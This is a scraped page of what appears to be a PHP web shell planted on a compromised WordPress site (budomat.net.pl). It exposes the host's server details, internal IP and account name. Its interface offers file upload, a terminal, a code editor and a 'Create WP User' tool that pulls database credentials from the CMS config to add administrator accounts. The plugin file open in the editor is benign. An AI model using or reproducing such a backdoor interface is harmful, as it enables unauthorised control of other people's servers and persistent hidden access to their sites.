Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
cookie-notice
/
includes
/
modules
/
hummingbird
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
hummingbird.php
1.24 KB
-rw-r--r--
2026-02-24 12:19
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
hummingbird.php
<?php // exit if accessed directly if ( ! defined( 'ABSPATH' ) ) exit; use Hummingbird\Core\Utils; /** * Cookie Notice Modules Hummingbird class. * * Compatibility since: 2.1.0 * * @class Cookie_Notice_Modules_Hummingbird */ class Cookie_Notice_Modules_Hummingbird { /** * Constructor. * * @return void */ public function __construct() { // actions add_action( 'init', [ $this, 'load_module' ] ); } /** * Add compatibility to Hummingbird plugin. * * @return void */ public function load_module() { // bail if options class is not available if ( ! class_exists( 'Hummingbird\Core\Utils' ) ) return; // get caching module $mod = Utils::get_module( 'page_cache' ); // valid object? if ( is_a( $mod, 'Hummingbird\Core\Modules\Page_Cache' ) && method_exists( $mod, 'is_active' ) ) { // is caching enabled? if ( $mod->is_active() ) { // delete cache files after updating settings or status add_action( 'cn_configuration_updated', [ $this, 'delete_cache' ] ); } } } /** * Delete all cache files. * * @return void */ public function delete_cache() { do_action( 'wphb_clear_page_cache' ); } } new Cookie_Notice_Modules_Hummingbird();
关闭
保存